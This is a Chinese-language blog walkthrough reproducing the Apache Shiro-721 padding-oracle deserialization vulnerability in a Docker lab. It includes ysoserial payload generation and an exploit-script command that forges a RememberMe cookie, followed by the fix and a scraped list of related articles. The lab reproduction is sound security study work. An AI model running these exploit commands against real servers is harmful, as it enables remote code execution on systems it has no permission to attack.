漏洞原理

Shiro 的RememberMe Cookie使用的是 AES-128-CBC 模式加密。其中 128 表示密钥长度为128位,CBC 代表Cipher Block Chaining,这种AES算法模式的主要特点是将明文分成固定长度的块,然后利用前一个块的密文对当前块的明文进行加密处理。

这种模式的加密方式容易受到 Padding Oracle Attack 的影响。如果填充不正确,程序可能会以不同的方式响应,而不是简单的返回一个错误。然后攻击者可以利用这些差异性响应来逐个解密密文中的块,即使他们没有加密的密钥。

总之就有点类似于盲注,攻击者可以利用这一点来进行尝试不同的填充方式,精心构造RememberMe Cookie执行反序列化,无需知道RememberMe加密的密钥。

Shiro721 和 Shiro550 的差异?

Shiro721和Shiro550一样,都是生成恶意RememberMe Cookie反序列化执行代码,不同之处是RememberMe Cookie的生成方式。

shiro550 序列化利用需要知道AES加密的key,使用这个key直接构造Payload。

Shiro721 序列化是利用已登录用户的合法RememberMe Cookie值,通过服务器对填充密钥的不同响应,从而判断加密值是否被正确填充,构造Pyload。

复现

影响版本:Apache Shiro 1.2.5、1.2.6、1.3.0、1.3.1、1.3.2、1.4.0-RC2、1.4.0、1.4.1

环境搭建:

git clone https://github.com/inspiringz/Shiro-721.git
cd Shiro-721/Docker
docker build -t shiro-721 .
docker run -p 8080:8080 -d shiro-721

浏览器访问靶机 8080 端口:

使用已有用户登录,得到 RememberMe Cookie:

使用反序列化工具 ysoserial 生成Payload,利用链Payload选择 CommonsBeanutils1:

java -jar ysoserial-all.jar CommonsBeanutils1 "touch /tmp/success" > poc.ser

这里使用其他师傅@3ND写的 shiro_exp.py 脚本,通过 Padding Oracle Attack 生成Rememberme Cookie:

python2 shiro_exp.py "http://192.168.88.150:8080/login.jsp" "Wd7Qotkee8tUDoziz3zSYud6BkDsHoFAhDGQ/ay2itmy6DRKk3/XCtlpN8DOr6NsVMvbpvEQeUG2+2nf86yHK52ugDzC9v7T0jF3a/SDg0rTpBsaFoJ7647C8sEhbsxno6pu/mpKWqg6Ii6zH/yUIJaRswCMEw/YWH5C36FeASHK8FOEl0CZyi1wcdgHlQAeaRH/U2vOv3Y0aMGkMf/D6Da9gofvfXLHx1TP3V6EyzO5Fnd/22H33oRLf5D/48b8uFfiA3QMzcaTML3U9foQRiSiYOp5Wr2ghBLU4HvqIM2YF7bIyAwWfr9+Zaa/JvwWjGYSbrXS0ay8G8oVP94ijDtVxXjLotx75eP0ahdXuO0AsEwe7a7nMgpwVStpz7igSBCjnJHeB5ZHEI6s7md30rltU99FtsjyOLBxYy6LryJTqmGokpk8sbbxch6Qefmx0xdob6/EFM8S0rn3mF48T0n6LfKlUZw3RjNG8B42Tba46k9gkvsFM40QJNNJWCp5" poc.ser

这个 exp 爆破时间有点长:

将得到的这个Rememberme Cookie替换到Cookie处发送:

需要注意的是,这里原本的JSESSIONID要删除掉,否则服务器不会进行反序列化操作。

进入到我们的靶机docker环境中,可以看到 /tmp/success 文件已经成功创建,利用成功。

修复方式

升级到 Shiro1.4.2 版本(Shiro1.4.2版本后,Shiro的加密模式由AES-CBC更换为AES-GCM)

参考文章:

https://github.com/inspiringz/Shiro-721

https://github.com/luckyfuture0177/VULOnceMore/blob/main/Java框架/CVE-2019-12422shiro-721Oracle填充攻击.md

https://issues.apache.org/jira/browse/SHIRO-721


若有错误,欢迎指正!o( ̄▽ ̄)ブ

Apache Shiro 721反序列化漏洞复现的更多相关文章

  1. 25. Apache Shiro Java反序列化漏洞

    前言: 最近在审核漏洞的时候,发现尽管Apache shiro这个反序列化漏洞爆出来好久了,但是由于漏洞特征不明显,并且shiro这个组件之前很少听说,导致大厂很多服务还存在shiro反序列化的漏洞, ...

  2. Apache Shiro Java反序列化漏洞分析

    1. 前言 最近工作上刚好碰到了这个漏洞,当时的漏洞环境是: shiro-core 1.2.4 commons-beanutils 1.9.1 最终利用ysoserial的CommonsBeanuti ...

  3. Shiro remeberMe反序列化漏洞复现(Shiro-550)

    Apache Shiro是一个强大易用的Java安全框架,提供了认证.授权.加密和会话管理等功能.Shiro框架直观.易用,同时也能提供健壮的安全性.在Apache Shiro编号为550的 issu ...

  4. 【CVE-2020-1948】Apache Dubbo Provider反序列化漏洞复现

    一.实验简介 实验所属系列: 系统安全 实验对象:本科/专科信息安全专业 相关课程及专业: 计算机网络 实验时数(学分):2 学时 实验类别: 实践实验类 二.实验目的 Apache Dubbo是一款 ...

  5. Apache Shiro反序列化漏洞复现

    Apache Shiro反序列化漏洞复现 0x01 搭建环境 获取docker镜像 Docker pull medicean/vulapps:s_shiro_1 重启docker system res ...

  6. Java安全之Shiro 550反序列化漏洞分析

    Java安全之Shiro 550反序列化漏洞分析 首发自安全客:Java安全之Shiro 550反序列化漏洞分析 0x00 前言 在近些时间基本都能在一些渗透或者是攻防演练中看到Shiro的身影,也是 ...

  7. JAVA反序列化漏洞复现

    目录 Weblogic反序列化漏洞 Weblogic < 10.3.6 'wls-wsat' XMLDecoder 反序列化漏洞(CVE-2017-10271) Weblogic WLS Cor ...

  8. Shiro 550反序列化漏洞分析

    Shiro 550反序列化漏洞分析 一.漏洞简介 影响版本:Apache Shiro < 1.2.4 特征判断:返回包中包含rememberMe=deleteMe字段. Apache Shiro ...

  9. WebLogic XMLDecoder反序列化漏洞复现

    WebLogic XMLDecoder反序列化漏洞复现 参考链接: https://bbs.ichunqiu.com/thread-31171-1-1.html git clone https://g ...

  10. Jboss反序列化漏洞复现(CVE-2017-12149)

    Jboss反序列化漏洞复现(CVE-2017-12149) 一.漏洞描述 该漏洞为Java反序列化错误类型,存在于jboss的HttpInvoker组件中的ReadOnlyAccessFilter过滤 ...

随机推荐

  1. elementui 修改合计行样式

    <style scoped> /deep/.el-table .el-table__footer-wrapper .cell { text-align: right } </styl ...

  2. 关于SQLServer数据库的READ_COMMITTED_SNAPSHOT隔离级别

    默认情况下,SQL Server的事务隔离级别是READ COMMITED.刚开始我理解这个模式就是读已经提交的,那也就是说并发一个事务去更新,一个事务查询同一条数据应该是像Mysql.Oracle不 ...

  3. 使用JDBC查询数据库会一次性加载所有数据吗

    前几天有个小伙伴说他有个疑问:当我们发起一个查询的时候,数据库服务器是把所有结果集都准备好,然后一次性返回给应用程序服务吗(因为他们生产有个服务因为一个报表查询搞宕机了). 这样想的原因很简单,假设那 ...

  4. RxJS 系列 – 概念篇

    前言 很长一段时间没有写 Angular 了 (哎...全栈的命),近期计划又要开始回去写了,于是就开始做复习咯. 我的复习是从 JS > TS > RxJS > Angular,与 ...

  5. 线段树与离散化技巧 Mayor's posters——poj 2528

    问题描述: 有一堵海报墙,从左到右一共有10000000个小块,墙上贴了许多海报,每张海报的高度与墙的高度相同,宽度不同,新帖的海报会将原有的海报覆盖,问当所有人把海报贴完是,墙上可以看到几张海报 输 ...

  6. Kubernetes ReplicaSet 控制器(十九)

    前面我们一起学习了 Pod 的原理和一些基本使用,但是在实际使用的时候并不会直接使用 Pod,而是会使用各种控制器来满足我们的需求,Kubernetes 中运行了一系列控制器来确保集群的当前状态与期望 ...

  7. Docker基本概念(LXC?镜像、容器、仓库是什么?容器和虚拟机又是什么?)(一)

    学习Docker前,我们有必要了解下Docker的前生LXC(Linux Container). 一.LXC介绍 LXC 可以提供轻量级的虚拟化,用来隔离进程和资源,和我们传统观念中的全虚拟化完全不一 ...

  8. 运维管理平台OEM定制集成开发,激发IT价值

    对硬件设备商而言,借助优秀的网管.运维管理平台,可以形成完整的产品解决方案,直接提升产品的形象和适用范围.同时还可以通过网管.运维管理平台,切入到外围的产品及集成领域,并在用户后续的升级改造活动中占据 ...

  9. std::stod:“123.456”-> 123.456

    std::stod 是 C++ 标准库中一个用于将字符串转换为 double 类型的函数.它属于 <string> 头文件中的函数,通常用于将包含数字的字符串转换为相应的浮点数值. 函数原 ...

  10. 进程D 状态的产生及原因解释

    在 Linux 系统中,进程的 D 状态表示进程处于不可中断的睡眠状态 (Uninterruptible Sleep).这种状态通常由进程等待某些资源或事件引起,这些资源或事件无法立即可用.以下是一些 ...